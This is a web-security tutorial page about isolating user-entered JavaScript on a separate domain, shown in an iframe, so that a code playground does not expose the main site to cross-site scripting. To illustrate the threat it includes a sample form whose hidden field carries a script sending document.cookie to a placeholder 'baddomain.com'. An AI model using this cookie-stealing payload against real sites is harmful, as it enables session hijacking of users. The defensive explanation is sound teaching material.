InfoHeap
Tech
Navigation
  • Home
  • Tutorials
    • CSS tutorials & examples
    • CSS properties
    • Javascript cookbook
    • Linux/Unix Command Line
    • Mac
    • PHP
      • PHP functions online
      • PHP regex
    • WordPress
  • Online Tools
    • Text utilities
    • Online Lint Tools
search

Web security tutorials

  • Handle XSS restrictions for user entered code
  • How to prevent XSS
  • bypass XSS protection by browsers
 
  • Home
  • > Tutorials
  • > Web Development
  • > Web Security

Handle XSS restriction using different domain for user entered javascript

By admin | Last updated on Mar 18, 2016

Under normal circumstance we disallow any javascript to be executed from the user entered input as it can lead to cross site scripting (xss) problems. When we create online javascript codelabs, we actually want to execute Javascript which is entered by user.

If we allow javascript to be executed on the site (same domain), this can lead to xss attack on the site. Any bad domain can create a form with some hidden javascript input and submit to our site. That javascript can potential send cookies on our site to the bad domain. Here is a sample code which bad domain/site can use.

<form action="http://www.yourgoodsite.com/blah/blah/" method=post>
<input type=hidden name=data value='&lt;script&gt;window.open("http://baddomain.com/?stolen_cookie=" + document.cookie)&lt;/script&gt;' />

<input type=submit value=submit>
</form>

This code creates a form on bad domain which has javascript in hidden variable. Since you are allowing javascript execution at your site, when user clicks on the submit button, the javascript will get executed.

Solution

One possible solution is to register and setup a new domain www.yourgoodsite2.com and only allow javascript execution on this domain. Don’t use this domain for any other purpose. So there is no incentive to steal anything (cookie, etc) from this domain. Here is a part of html form code for this:

<div>
<form action="http://www.yourgoodsite2.com/blah/blah/" method="post" target="srctarget" onsubmit="return srcsubmit();">
<textarea name="data"></textarea>
<input type="submit" value="Run" />
</form>
</div>

<div>
<iframe id="srctarget" name="srctarget" src="http://http://www.yourgoodsite2.com/blah/blah/" height="240" width="320"></iframe>
</div>

Note that the code reside on main website (www.yourgoodsite.com) but the rendered outcome is displayed in an iframe which is served from  www.yourgoodsite2.com.

Suggested posts:

  1. How to display wordpress page list with specific custom field value
  2. How to switch back to old inline gmail compose window
  3. How to setup ssl (https) for your site on Ubuntu Linux
  4. Using python to analyze bots from apache logs
  5. ReactJS – convert jsx to javascript using babel cli
  6. Comic strip – Video ads and recursion
  7. Requirejs – quickstart guide for beginners
  8. Screenflow 4 export options
Share this article: share on facebook share on linkedin tweet this submit to reddit
Posted in Tutorials | Tagged HTTP, Tutorials, Web Development, Web Security
  • Browse content
  • Article Topics
  • Article archives
  • Contact Us
Popular Topics: Android Development | AngularJS | Apache | AWS and EC2 | Bash shell scripting | Chrome developer tools | Company results | CSS | CSS cookbook | CSS properties | CSS Pseudo Classes | CSS selectors | CSS3 | CSS3 flexbox | Devops | Git | HTML | HTML5 | Java | Javascript | Javascript cookbook | Javascript DOM | jQuery | Kubernetes | Linux | Linux/Unix Command Line | Mac | Mac Command Line | Mysql | Networking | Node.js | Online Tools | PHP | PHP cookbook | PHP Regex | Python | Python array | Python cookbook | SEO | Site Performance | SSH | Ubuntu Linux | Web Development | Webmaster | Wordpress | Wordpress customization | Wordpress How To | Wordpress Mysql Queries | InfoHeap Money

Copyright © 2025 InfoHeap.

Powered by WordPress